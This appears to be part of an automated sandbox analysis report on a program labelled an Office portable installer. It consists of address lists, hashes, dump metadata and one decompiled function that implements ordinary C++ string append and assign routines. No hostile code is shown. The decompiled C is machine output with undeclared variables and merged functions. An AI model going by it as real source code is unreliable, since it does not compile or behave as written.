0x000c8b4a
0x000c8b55
0x000c8e25
0x000c8e25
0x000c8e27
0x000c8e27
0x000c8e34
0x000c8e37
0x000c8e48
0x000c8e4b
0x000c8e4e
0x000c8e59
0x000c8e63
0x000c8e65
0x000c8e70
0x000c8e7b
0x000c8e83
0x000c8e8d
0x000c8e8d
0x000c8e70
0x000c8e93
0x000c8e9b
0x000c8e9b
0x000c8ea0
0x000c8ea6
0x000c8eb2
0x000c8eb4
0x000c8eb8
0x000c8ebc
0x000c8ec1
0x000c8ec9
0x000c8ec9
0x000c8ec1
0x000c8ecc
0x000c8ed1
0x000c8ed1
0x000c8eda
0x000c8edd
0x000c8ef1
0x000c8ef5
0x000c8ef8
0x000c8eff
0x000c8f06
0x000c8f13
0x000c8f1b
0x000c8f1c
0x000c8f1d
0x000c8f2b
0x000c8f2b
0x000c8b6c
0x000c8b7d
0x00000000
0x00000000
0x000c8b94
0x000c8b99
0x000c8ba4
0x000c8bc3
0x00000000
0x00000000
0x000c8bd3
0x000c8be4
0x000c8be9
0x000c8bf7
0x000c8c5b
0x000c8c5b
0x000c8c6a
0x000c8c6f
0x000c8c7a
0x000c8c81
0x000c8c88
0x000c8c8e
0x000c8c9c
0x000c8c9d
0x000c8ca5
0x000c8caa
0x000c8cb0
0x000c8cb0
0x000c8cb8
0x000c8cbe
0x000c8cc4
0x000c8cc4
0x000c8cc5
0x000c8cc7
0x000c8ccd
0x000c8cd3
0x000c8cd9
0x000c8ddd
0x000c8dea
0x000c8df8
0x000c8dfb
0x000c8dfd
0x000c8e00
0x000c8e07
0x000c8e09
0x000c8e09
0x000c8e0c
0x000c8e0f
0x000c8e15
0x000c8e19
0x000c8e19
0x000c8e15
0x00000000
0x000c8e1e
0x000c8ce0
0x000c8ce7
0x000c8cf4
0x000c8ce9
0x000c8ce9
0x000c8cf1
0x000c8cf1
0x000c8cfd
0x000c8d06
0x000c8d33
0x000c8d3d
0x000c8d3f
0x00000000
0x00000000
0x00000000
0x00000000
0x000c8d41
0x000c8d41
0x000c8d47
0x000c8d4c
0x000c8d52
0x000c8d54
0x000c8d60
0x000c8d68
0x000c8d6f
0x000c8d72
0x000c8d78
0x000c8d7a
0x000c8d7a
0x000c8d84
0x000c8d8a
0x000c8d90
0x000c8d96
0x000c8d96
0x000c8d9a
0x00000000
0x000c8d08
0x000c8d0d
0x000c8d0e
0x000c8d16
0x000c8d20
0x000c8d25
0x000c8d2b
0x000c8da0
0x000c8da0
0x000c8da8
0x00000000
0x00000000
0x000c8db0
0x000c8db6
0x000c8dbb
0x000c8dbb
0x000c8dbe
0x000c8dc4
0x000c8dc4
0x000c8dca
0x000c8dca
0x000c8dcb
0x000c8dd1
0x000c8dd1
0x00000000
0x000c8ce0
0x000c8bfd
0x000c8c01
0x00000000
0x00000000
0x00000000
0x00000000
0x000c8c03
0x000c8c03
0x000c8c09
0x000c8c0e
0x000c8c14
0x000c8c1d
0x000c8c22
0x000c8c28
0x000c8c32
0x000c8c37
0x000c8c3d
0x000c8c47
0x000c8c4c
0x000c8c56
0x000c8c57
0x00000000
0x00000000
0x00000000
0x00000000

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000C8F06

Strings

icon.ico, xrefs: 000C8B40

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: icon.ico
API String ID: 323602529-1531849261
Opcode ID: 04d70fb2959d7a494d7641d88debff10944d2e290c85a12baf704aa93933f327
Instruction ID: ec79a97591b422db1803eaa11efb2c858cbdcad727a87768602c65a5ab52181d
Opcode Fuzzy Hash: 04d70fb2959d7a494d7641d88debff10944d2e290c85a12baf704aa93933f327
Instruction Fuzzy Hash: 31C17975A00119CFEB28CF18CC95FEDB7B5AB54300F1481ADD809AB691DB74AE85CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 000C3040, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E000C3040(intOrPtr* __ecx, unsigned int _a4, unsigned int _a8) {
				unsigned int _v0;
				unsigned int _v4;
				char _v8;
				unsigned int _v12;
				void* _v13;
				signed int _v16;
				char _v28;
				intOrPtr _v36;
				unsigned int _v40;
				void* _v44;
				intOrPtr* _v60;
				unsigned int _v76;
				signed int _v92;
				char _v112;
				unsigned int _v116;
				intOrPtr* _v124;
				void* __ebx;
				void* __edi;
				void* __ebp;
				intOrPtr _t103;
				signed int _t106;
				signed int _t114;
				signed int _t117;
				unsigned int _t120;
				intOrPtr* _t121;
				signed int _t125;
				intOrPtr _t131;
				unsigned int _t144;
				unsigned int _t146;
				unsigned int _t152;
				intOrPtr _t156;
				signed int _t163;
				signed int _t167;
				signed int _t168;
				signed int _t169;
				intOrPtr _t173;
				char* _t182;
				intOrPtr _t185;
				intOrPtr* _t186;
				char* _t192;
				intOrPtr* _t195;
				unsigned int _t203;
				unsigned int _t204;
				unsigned int _t205;
				unsigned int _t207;
				unsigned int _t208;
				void* _t210;
				unsigned int _t216;
				unsigned int _t218;
				unsigned int _t220;
				intOrPtr* _t233;
				signed int _t234;
				unsigned int _t235;
				intOrPtr* _t236;
				unsigned int _t238;
				unsigned int _t239;
				intOrPtr* _t242;
				intOrPtr _t245;
				unsigned int _t252;
				unsigned int _t255;
				signed int _t256;
				signed int _t257;
				unsigned int _t258;
				intOrPtr* _t259;
				intOrPtr* _t260;
				unsigned int _t262;
				intOrPtr _t263;
				unsigned int _t264;
				signed int _t266;
				intOrPtr _t272;
				intOrPtr* _t289;
				intOrPtr* _t290;
				signed int _t291;
				unsigned int _t292;
				intOrPtr* _t293;
				intOrPtr* _t294;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				signed int _t323;
				signed int _t324;
				signed int _t350;
				unsigned int _t351;

				_t233 = __ecx;
				_t320 = _t350;
				_t203 = _a4;
				_t289 = __ecx;
				if(_t203 == 0) {
					L12:
					_t262 = _a8;
					__eflags = _t262 - 0xfffffffe;
					if(__eflags > 0) {
						_push("string too long");
						E000CBF3E(__eflags);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t320);
						_t321 = _t350;
						_t252 = _v12;
						_push(_t203);
						_push(_t289);
						_t290 = _t233;
						_t234 = _v16;
						_t103 =  *((intOrPtr*)(_t234 + 0x10));
						__eflags = _t103 - _t252;
						if(__eflags < 0) {
							E000CBF6C(__eflags, "invalid string position");
							goto L52;
						} else {
							_t220 = _a8;
							_t169 = _t103 - _t252;
							_t258 =  *(_t290 + 0x10);
							__eflags = _t169 - _t220;
							_t203 =  <  ? _t169 : _t220;
							__eflags = (_t169 | 0xffffffff) - _t258 - _t203;
							if(__eflags <= 0) {
								L52:
								_push("string too long");
								E000CBF3E(__eflags);
								goto L53;
							} else {
								__eflags = _t203;
								if(_t203 == 0) {
									L50:
									return _t290;
								} else {
									_push(_t262);
									_t262 = _t258 + _t203;
									__eflags = _t262 - 0xfffffffe;
									if(__eflags > 0) {
										L53:
										_push("string too long");
										_t106 = E000CBF3E(__eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t321);
										_t322 = _t350;
										_push(_t203);
										_t204 = _v40;
										_push(_t290);
										_t291 = _t234;
										__eflags = _t204;
										if(_t204 == 0) {
											L66:
											_t253 =  *(_t291 + 0x10);
											_t235 = _v0;
											__eflags = (_t106 | 0xffffffff) - _t253 - _t235;
											if(__eflags <= 0) {
												_push("string too long");
												E000CBF3E(__eflags);
												goto L86;
											} else {
												__eflags = _t235;
												if(_t235 == 0) {
													L84:
													return _t291;
												} else {
													_push(_t262);
													_t262 = _t253 + _t235;
													__eflags = _t262 - 0xfffffffe;
													if(__eflags > 0) {
														L86:
														_push("string too long");
														E000CBF3E(__eflags);
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t322);
														_t323 = _t350;
														_push(_t291);
														_t292 = _t235;
														_t236 = _v60;
														_push(_t262);
														_t263 =  *((intOrPtr*)(_t292 + 0x10));
														__eflags = _t263 - _t236;
														if(__eflags < 0) {
															E000CBF6C(__eflags, "invalid string position");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t323);
															_t324 = _t350;
															_push(_t292);
															_push(_t263);
															_t264 = _v76;
															_t293 = _t236;
															__eflags = _t264 - 0xfffffffe;
															if(__eflags > 0) {
																_push("string too long");
																E000CBF3E(__eflags);
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t324);
																_push(0xffffffff);
																_push(E000E37C0);
																_push( *[fs:0x0]);
																_t351 = _t350 - 0xc;
																_push(_t204);
																_push(_t293);
																_push(_t264);
																_t114 =  *0xef6ac; // 0xcff43140
																_push(_t114 ^ _t350);
																 *[fs:0x0] =  &_v112;
																_v116 = _t351;
																_t294 = _t236;
																_v124 = _t294;
																_t117 = _v92;
																_t266 = _t117 | 0x0000000f;
																__eflags = _t266 - 0xfffffffe;
																if(_t266 <= 0xfffffffe) {
																	_t204 =  *(_t294 + 0x14);
																	_t238 = _t204 >> 1;
																	_t253 = 0xaaaaaaab * _t266 >> 0x20 >> 1;
																	__eflags = _t238 - 0xaaaaaaab * _t266 >> 0x20 >> 1;
																	if(_t238 > 0xaaaaaaab * _t266 >> 0x20 >> 1) {
																		_t266 = _t238 + _t204;
																		__eflags = _t204 - 0xfffffffe - _t238;
																		if(_t204 > 0xfffffffe - _t238) {
																			_t266 = 0xfffffffe;
																		}
																	}
																} else {
																	_t266 = _t117;
																}
																_t84 = _t266 + 1; // 0xffffffff
																_t239 = _t84;
																_t120 = 0;
																_v28 = 0;
																_v44 = 0;
																__eflags = _t239;
																if(_t239 == 0) {
																	L128:
																	_t205 = _v12;
																	__eflags = _t205;
																	if(_t205 != 0) {
																		__eflags =  *(_t294 + 0x14) - 0x10;
																		if( *(_t294 + 0x14) < 0x10) {
																			_t242 = _t294;
																		} else {
																			_t242 =  *_t294;
																		}
																		__eflags = _t205;
																		if(_t205 != 0) {
																			E000CE520(_t120, _t242, _t205);
																			_t351 = _t351 + 0xc;
																		}
																	}
																	__eflags =  *(_t294 + 0x14) - 0x10;
																	if( *(_t294 + 0x14) >= 0x10) {
																		L000CC7D6( *_t294);
																	}
																	_t121 = _v44;
																	 *_t294 = 0;
																	 *_t294 = _t121;
																	 *(_t294 + 0x14) = _t266;
																	 *(_t294 + 0x10) = _t205;
																	__eflags = _t266 - 0x10;
																	if(_t266 >= 0x10) {
																		_t294 = _t121;
																	}
																	 *((char*)(_t294 + _t205)) = 0;
																	 *[fs:0x0] = _v36;
																	return _t121;
																} else {
																	__eflags = _t239 - 0xffffffff;
																	if(__eflags > 0) {
																		L127:
																		E000CBF0D(__eflags);
																		_t125 = _v16;
																		_v44 = _t125;
																		__eflags = _t125 + 1;
																		_v40 = _t351;
																		_v28 = 2;
																		_v16 = E000C3620(_t253, _t125 + 1);
																		return E000C3585;
																	} else {
																		_push(_t239);
																		_t120 = E000CCE6F(_t204, _t266, __eflags);
																		_t351 = _t351 + 4;
																		_v44 = 0;
																		__eflags = 0;
																		if(0 != 0) {
																			goto L128;
																		} else {
																			goto L127;
																		}
																	}
																}
															} else {
																_t131 =  *((intOrPtr*)(_t293 + 0x14));
																__eflags = _t131 - _t264;
																if(_t131 >= _t264) {
																	__eflags = _v8;
																	if(_v8 == 0) {
																		L113:
																		__eflags = _t264;
																		if(_t264 == 0) {
																			 *(_t293 + 0x10) = _t264;
																			__eflags = _t131 - 0x10;
																			if(_t131 >= 0x10) {
																				_t293 =  *_t293;
																			}
																			 *_t293 = 0;
																		}
																		__eflags = 0 - _t264;
																		asm("sbb eax, eax");
																		return  ~0x00000000;
																	} else {
																		__eflags = _t264 - 0x10;
																		if(_t264 >= 0x10) {
																			goto L113;
																		} else {
																			_push(_t204);
																			_t207 =  *(_t293 + 0x10);
																			__eflags = _t264 - _t207;
																			_t208 =  <  ? _t264 : _t207;
																			__eflags = _t131 - 0x10;
																			if(_t131 >= 0x10) {
																				_t136 =  *_t293;
																				_v8 =  *_t293;
																				__eflags = _t208;
																				if(_t208 != 0) {
																					E000CE520(_t293, _t136, _t208);
																					_t136 = _v8;
																					_t350 = _t350 + 0xc;
																				}
																				L000CC7D6(_t136);
																			}
																			 *(_t293 + 0x10) = _t208;
																			 *((intOrPtr*)(_t293 + 0x14)) = 0xf;
																			 *((char*)(_t208 + _t293)) = 0;
																			__eflags = 0 - _t264;
																			asm("sbb eax, eax");
																			return  ~0x00000000;
																		}
																	}
																} else {
																	_push( *(_t293 + 0x10));
																	_push(_t264);
																	L119();
																	__eflags = 0 - _t264;
																	asm("sbb eax, eax");
																	return  ~0x00000000;
																}
															}
														} else {
															_t255 = _v4;
															__eflags = _t263 - _t236 - _t255;
															if(_t263 - _t236 > _t255) {
																__eflags = _t255;
																if(_t255 == 0) {
																	L101:
																	return _t292;
																} else {
																	__eflags =  *((intOrPtr*)(_t292 + 0x14)) - 0x10;
																	if( *((intOrPtr*)(_t292 + 0x14)) < 0x10) {
																		_t144 = _t292;
																	} else {
																		_t144 =  *_t292;
																	}
																	_t272 = _t263 - _t255;
																	_push(_t204);
																	_t210 = _t144 + _t236;
																	_t146 = _t272 - _t236;
																	__eflags = _t146;
																	if(_t146 != 0) {
																		E000CC7E0(_t210, _t210 + _t255, _t146);
																	}
																	__eflags =  *((intOrPtr*)(_t292 + 0x14)) - 0x10;
																	 *((intOrPtr*)(_t292 + 0x10)) = _t272;
																	if( *((intOrPtr*)(_t292 + 0x14)) < 0x10) {
																		 *((char*)(_t292 + _t272)) = 0;
																		goto L101;
																	} else {
																		 *((char*)( *_t292 + _t272)) = 0;
																		return _t292;
																	}
																}
															} else {
																__eflags =  *((intOrPtr*)(_t292 + 0x14)) - 0x10;
																 *((intOrPtr*)(_t292 + 0x10)) = _t236;
																if( *((intOrPtr*)(_t292 + 0x14)) < 0x10) {
																	_t152 = _t292;
																	 *((char*)(_t152 + _t236)) = 0;
																	return _t152;
																} else {
																	 *((char*)( *_t292 + _t236)) = 0;
																	return _t292;
																}
															}
														}
													} else {
														_t156 =  *((intOrPtr*)(_t291 + 0x14));
														__eflags = _t156 - _t262;
														if(_t156 >= _t262) {
															__eflags = _t262;
															if(_t262 != 0) {
																goto L71;
															} else {
																 *(_t291 + 0x10) = _t262;
																__eflags = _t156 - 0x10;
																if(_t156 < 0x10) {
																	_t163 = _t291;
																	 *_t163 = 0;
																	return _t163;
																} else {
																	 *( *_t291) = 0;
																	return _t291;
																}
															}
														} else {
															_push(_t253);
															_push(_t262);
															L119();
															_t235 = _v0;
															__eflags = _t262;
															if(_t262 == 0) {
																L83:
																goto L84;
															} else {
																L71:
																__eflags =  *((intOrPtr*)(_t291 + 0x14)) - 0x10;
																if( *((intOrPtr*)(_t291 + 0x14)) < 0x10) {
																	_t256 = _t291;
																} else {
																	_t256 =  *_t291;
																}
																__eflags = _t235;
																if(_t235 != 0) {
																	__eflags =  *(_t291 + 0x10) + _t256;
																	E000CE520( *(_t291 + 0x10) + _t256, _t204, _t235);
																}
																__eflags =  *((intOrPtr*)(_t291 + 0x14)) - 0x10;
																 *(_t291 + 0x10) = _t262;
																if( *((intOrPtr*)(_t291 + 0x14)) < 0x10) {
																	 *((char*)(_t291 + _t262)) = 0;
																	goto L83;
																} else {
																	 *((char*)( *_t291 + _t262)) = 0;
																	return _t291;
																}
															}
														}
													}
												}
											}
										} else {
											_t245 =  *((intOrPtr*)(_t291 + 0x14));
											__eflags = _t245 - 0x10;
											if(_t245 < 0x10) {
												_t106 = _t291;
											} else {
												_t106 =  *_t291;
											}
											__eflags = _t204 - _t106;
											if(_t204 < _t106) {
												goto L66;
											} else {
												__eflags = _t245 - 0x10;
												if(_t245 < 0x10) {
													_t257 = _t291;
												} else {
													_t257 =  *_t291;
												}
												_t106 =  *(_t291 + 0x10) + _t257;
												__eflags = _t106 - _t204;
												if(_t106 <= _t204) {
													goto L66;
												} else {
													__eflags = _t245 - 0x10;
													if(_t245 < 0x10) {
														_push(_v0);
														_t167 = _t291;
														_t216 = _t204 - _t167;
														__eflags = _t216;
														_push(_t216);
														_push(_t291);
														L29();
														return _t167;
													} else {
														_t168 =  *_t291;
														_push(_v0);
														_t218 = _t204 - _t168;
														__eflags = _t218;
														_push(_t218);
														_push(_t291);
														L29();
														return _t168;
													}
												}
											}
										}
									} else {
										_t173 =  *((intOrPtr*)(_t290 + 0x14));
										__eflags = _t173 - _t262;
										if(_t173 >= _t262) {
											__eflags = _t262;
											if(_t262 != 0) {
												goto L35;
											} else {
												 *(_t290 + 0x10) = _t262;
												__eflags = _t173 - 0x10;
												if(_t173 < 0x10) {
													_t182 = _t290;
													 *_t182 = 0;
													return _t182;
												} else {
													 *((char*)( *_t290)) = 0;
													return _t290;
												}
											}
										} else {
											_push(_t258);
											_push(_t262);
											L119();
											_t234 = _v0;
											__eflags = _t262;
											if(_t262 == 0) {
												L49:
												goto L50;
											} else {
												L35:
												__eflags =  *((intOrPtr*)(_t234 + 0x14)) - 0x10;
												if( *((intOrPtr*)(_t234 + 0x14)) >= 0x10) {
													_t234 =  *_t234;
												}
												__eflags =  *((intOrPtr*)(_t290 + 0x14)) - 0x10;
												if( *((intOrPtr*)(_t290 + 0x14)) < 0x10) {
													_t259 = _t290;
												} else {
													_t259 =  *_t290;
												}
												__eflags = _t203;
												if(_t203 != 0) {
													__eflags =  *(_t290 + 0x10) + _t259;
													E000CE520( *(_t290 + 0x10) + _t259, _a4 + _t234, _t203);
												}
												__eflags =  *((intOrPtr*)(_t290 + 0x14)) - 0x10;
												 *(_t290 + 0x10) = _t262;
												if( *((intOrPtr*)(_t290 + 0x14)) < 0x10) {
													 *((char*)(_t290 + _t262)) = 0;
													goto L49;
												} else {
													 *((char*)( *_t290 + _t262)) = 0;
													return _t290;
												}
											}
										}
									}
								}
							}
						}
					} else {
						_t185 =  *((intOrPtr*)(_t289 + 0x14));
						__eflags = _t185 - _t262;
						if(_t185 >= _t262) {
							__eflags = _t262;
							if(_t262 != 0) {
								goto L15;
							} else {
								 *(_t289 + 0x10) = _t262;
								__eflags = _t185 - 0x10;
								if(_t185 < 0x10) {
									_t192 = _t289;
									 *_t192 = 0;
									return _t192;
								} else {
									 *((char*)( *_t289)) = 0;
									return _t289;
								}
							}
						} else {
							_push( *(_t289 + 0x10));
							_push(_t262); // executed
							L119(); // executed
							__eflags = _t262;
							if(_t262 == 0) {
								L27:
								return _t289;
							} else {
								L15:
								__eflags =  *((intOrPtr*)(_t289 + 0x14)) - 0x10;
								if( *((intOrPtr*)(_t289 + 0x14)) < 0x10) {
									_t186 = _t289;
								} else {
									_t186 =  *_t289;
								}
								__eflags = _t262;
								if(_t262 != 0) {
									E000CE520(_t186, _t203, _t262);
								}
								__eflags =  *((intOrPtr*)(_t289 + 0x14)) - 0x10;
								 *(_t289 + 0x10) = _t262;
								if( *((intOrPtr*)(_t289 + 0x14)) < 0x10) {
									 *((char*)(_t289 + _t262)) = 0;
									goto L27;
								} else {
									 *((char*)( *_t289 + _t262)) = 0;
									return _t289;
								}
							}
						}
					}
				} else {
					_t233 =  *((intOrPtr*)(__ecx + 0x14));
					if(_t233 < 0x10) {
						_t195 = __ecx;
					} else {
						_t195 =  *__ecx;
					}
					if(_t203 < _t195) {
						goto L12;
					} else {
						if(_t233 < 0x10) {
							_t260 = _t289;
						} else {
							_t260 =  *_t289;
						}
						if( *(_t289 + 0x10) + _t260 <= _t203) {
							goto L12;
						} else {
							if(_t233 < 0x10) {
								_push(_a8);
								__eflags = _t203 - _t289;
								return E000C2F10(_t289, _t289, _t203 - _t289);
							} else {
								_push(_a8);
								return E000C2F10(_t289, _t289, _t203 -  *_t289);
							}
						}
					}
				}
			}

0x000c3040
0x000c3041
0x000c3044
0x000c3048
0x000c304c
0x000c30a5
0x000c30a6
0x000c30a9
0x000c30ac
0x000c312c
0x000c3131
0x000c3136
0x000c3137
0x000c3138
0x000c3139
0x000c313a
0x000c313b
0x000c313c
0x000c313d
0x000c313e
0x000c313f
0x000c3140
0x000c3141
0x000c3143
0x000c3146
0x000c3147
0x000c3148
0x000c314a
0x000c314d
0x000c3150
0x000c3152
0x000c321d
0x00000000
0x000c3158
0x000c3158
0x000c315b
0x000c315d
0x000c3160
0x000c3162
0x000c316a
0x000c316c
0x000c3222
0x000c3222
0x000c3227
0x00000000
0x000c3172
0x000c3172
0x000c3174
0x000c3210
0x000c3215
0x000c317a
0x000c317a
0x000c317b
0x000c317e
0x000c3181
0x000c322c
0x000c322c
0x000c3231
0x000c3236
0x000c3237
0x000c3238
0x000c3239
0x000c323a
0x000c323b
0x000c323c
0x000c323d
0x000c323e
0x000c323f
0x000c3240
0x000c3241
0x000c3243
0x000c3244
0x000c3247
0x000c3248
0x000c324a
0x000c324c
0x000c32a5
0x000c32a5
0x000c32a8
0x000c32b0
0x000c32b2
0x000c3351
0x000c3356
0x00000000
0x000c32b8
0x000c32b8
0x000c32ba
0x000c3349
0x000c334e
0x000c32c0
0x000c32c0
0x000c32c1
0x000c32c4
0x000c32c7
0x000c335b
0x000c335b
0x000c3360
0x000c3365
0x000c3366
0x000c3367
0x000c3368
0x000c3369
0x000c336a
0x000c336b
0x000c336c
0x000c336d
0x000c336e
0x000c336f
0x000c3370
0x000c3371
0x000c3373
0x000c3374
0x000c3376
0x000c3379
0x000c337a
0x000c337d
0x000c337f
0x000c3404
0x000c3409
0x000c340a
0x000c340b
0x000c340c
0x000c340d
0x000c340e
0x000c340f
0x000c3410
0x000c3411
0x000c3413
0x000c3414
0x000c3415
0x000c3418
0x000c341a
0x000c341d
0x000c34b6
0x000c34bb
0x000c34c0
0x000c34c1
0x000c34c2
0x000c34c3
0x000c34c4
0x000c34c5
0x000c34c6
0x000c34c7
0x000c34c8
0x000c34c9
0x000c34ca
0x000c34cb
0x000c34cc
0x000c34cd
0x000c34ce
0x000c34cf
0x000c34d0
0x000c34d3
0x000c34d5
0x000c34e0
0x000c34e1
0x000c34e4
0x000c34e5
0x000c34e6
0x000c34e7
0x000c34ee
0x000c34f2
0x000c34f8
0x000c34fb
0x000c34fd
0x000c3500
0x000c3505
0x000c3508
0x000c350b
0x000c3511
0x000c351d
0x000c351f
0x000c3521
0x000c3523
0x000c352c
0x000c352f
0x000c3531
0x000c3533
0x000c3533
0x000c3531
0x000c350d
0x000c350d
0x000c350d
0x000c3538
0x000c3538
0x000c353b
0x000c353d
0x000c3544
0x000c3547
0x000c3549
0x000c3591
0x000c3591
0x000c3594
0x000c3596
0x000c3598
0x000c359c
0x000c35cf
0x000c359e
0x000c359e
0x000c359e
0x000c35d1
0x000c35d3
0x000c35d8
0x000c35dd
0x000c35dd
0x000c35d3
0x000c35e0
0x000c35e4
0x000c35e8
0x000c35ed
0x000c35f0
0x000c35f3
0x000c35f6
0x000c35f8
0x000c35fb
0x000c35fe
0x000c3601
0x000c3603
0x000c3603
0x000c3605
0x000c360c
0x000c361a
0x000c354b
0x000c354b
0x000c354e
0x000c3560
0x000c3560
0x000c3565
0x000c3568
0x000c356b
0x000c356c
0x000c3573
0x000c357c
0x000c3584
0x000c3550
0x000c3550
0x000c3551
0x000c3556
0x000c3559
0x000c355c
0x000c355e
0x00000000
0x00000000
0x00000000
0x00000000
0x000c355e
0x000c354e
0x000c3423
0x000c3423
0x000c3426
0x000c3428
0x000c3441
0x000c3445
0x000c3497
0x000c3497
0x000c3499
0x000c349b
0x000c349e
0x000c34a1
0x000c34a3
0x000c34a3
0x000c34a5
0x000c34a5
0x000c34aa
0x000c34ac
0x000c34b3
0x000c3447
0x000c3447
0x000c344a
0x00000000
0x000c344c
0x000c344c
0x000c344d
0x000c3450
0x000c3452
0x000c3455
0x000c3458
0x000c345a
0x000c345c
0x000c345f
0x000c3461
0x000c3466
0x000c346b
0x000c346e
0x000c346e
0x000c3472
0x000c3477
0x000c347a
0x000c347f
0x000c3486
0x000c348a
0x000c348d
0x000c3494
0x000c3494
0x000c344a
0x000c342a
0x000c342a
0x000c342d
0x000c342e
0x000c3435
0x000c3437
0x000c343e
0x000c343e
0x000c3428
0x000c3381
0x000c3381
0x000c3388
0x000c338a
0x000c33af
0x000c33b1
0x000c33f7
0x000c33fc
0x000c33b3
0x000c33b3
0x000c33b7
0x000c33bd
0x000c33b9
0x000c33b9
0x000c33b9
0x000c33bf
0x000c33c1
0x000c33c2
0x000c33c7
0x000c33c7
0x000c33c9
0x000c33d1
0x000c33d6
0x000c33d9
0x000c33dd
0x000c33e1
0x000c33f3
0x00000000
0x000c33e3
0x000c33e5
0x000c33ee
0x000c33ee
0x000c33e1
0x000c338c
0x000c338c
0x000c3390
0x000c3393
0x000c33a3
0x000c33a6
0x000c33ac
0x000c3395
0x000c3398
0x000c33a0
0x000c33a0
0x000c3393
0x000c338a
0x000c32cd
0x000c32cd
0x000c32d0
0x000c32d2
0x000c32ee
0x000c32f0
0x00000000
0x000c32f2
0x000c32f2
0x000c32f5
0x000c32f8
0x000c3309
0x000c330c
0x000c3311
0x000c32fa
0x000c32fd
0x000c3305
0x000c3305
0x000c32f8
0x000c32d4
0x000c32d4
0x000c32d5
0x000c32d8
0x000c32dd
0x000c32e0
0x000c32e2
0x000c3348
0x00000000
0x000c32e4
0x000c32e4
0x000c32e4
0x000c32e8
0x000c3314
0x000c32ea
0x000c32ea
0x000c32ea
0x000c3316
0x000c3318
0x000c331e
0x000c3322
0x000c3327
0x000c332a
0x000c332e
0x000c3331
0x000c3344
0x00000000
0x000c3333
0x000c3335
0x000c333f
0x000c333f
0x000c3331
0x000c32e2
0x000c32d2
0x000c32c7
0x000c32ba
0x000c324e
0x000c324e
0x000c3251
0x000c3254
0x000c325a
0x000c3256
0x000c3256
0x000c3256
0x000c325c
0x000c325e
0x00000000
0x000c3260
0x000c3260
0x000c3263
0x000c3269
0x000c3265
0x000c3265
0x000c3265
0x000c326e
0x000c3270
0x000c3272
0x00000000
0x000c3274
0x000c3274
0x000c3277
0x000c328f
0x000c3292
0x000c3294
0x000c3294
0x000c3296
0x000c3297
0x000c329a
0x000c32a2
0x000c3279
0x000c3279
0x000c327b
0x000c327e
0x000c327e
0x000c3280
0x000c3281
0x000c3284
0x000c328c
0x000c328c
0x000c3277
0x000c3272
0x000c325e
0x000c3187
0x000c3187
0x000c318a
0x000c318c
0x000c31b0
0x000c31b2
0x00000000
0x000c31b4
0x000c31b4
0x000c31b7
0x000c31ba
0x000c31cb
0x000c31ce
0x000c31d3
0x000c31bc
0x000c31bf
0x000c31c7
0x000c31c7
0x000c31ba
0x000c318e
0x000c318e
0x000c318f
0x000c3192
0x000c3197
0x000c319a
0x000c319c
0x000c320f
0x00000000
0x000c319e
0x000c319e
0x000c319e
0x000c31a2
0x000c31a4
0x000c31a4
0x000c31a6
0x000c31aa
0x000c31d6
0x000c31ac
0x000c31ac
0x000c31ac
0x000c31d8
0x000c31da
0x000c31e6
0x000c31e9
0x000c31ee
0x000c31f1
0x000c31f5
0x000c31f8
0x000c320b
0x00000000
0x000c31fa
0x000c31fc
0x000c3206
0x000c3206
0x000c31f8
0x000c319c
0x000c318c
0x000c3181
0x000c3174
0x000c316c
0x000c30ae
0x000c30ae
0x000c30b1
0x000c30b3
0x000c30ce
0x000c30d0
0x00000000
0x000c30d2
0x000c30d2
0x000c30d5
0x000c30d8
0x000c30e9
0x000c30ec
0x000c30f1
0x000c30da
0x000c30dd
0x000c30e5
0x000c30e5
0x000c30d8
0x000c30b5
0x000c30b5
0x000c30ba
0x000c30bb
0x000c30c0
0x000c30c2
0x000c3123
0x000c3129
0x000c30c4
0x000c30c4
0x000c30c4
0x000c30c8
0x000c30f4
0x000c30ca
0x000c30ca
0x000c30ca
0x000c30f6
0x000c30f8
0x000c30fd
0x000c3102
0x000c3105
0x000c3109
0x000c310c
0x000c311f
0x00000000
0x000c310e
0x000c3110
0x000c311a
0x000c311a
0x000c310c
0x000c30c2
0x000c30b3
0x000c304e
0x000c304e
0x000c3054
0x000c305a
0x000c3056
0x000c3056
0x000c3056
0x000c305e
0x00000000
0x000c3060
0x000c3063
0x000c3069
0x000c3065
0x000c3065
0x000c3065
0x000c3072
0x00000000
0x000c3074
0x000c3077
0x000c308f
0x000c3094
0x000c30a2
0x000c3079
0x000c307b
0x000c308c
0x000c308c
0x000c3077
0x000c3072
0x000c305e

APIs

_memmove.LIBCMT ref: 000C30FD

Strings

string too long, xrefs: 000C3026, 000C312C, 000C3222, 000C322C, 000C335B

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
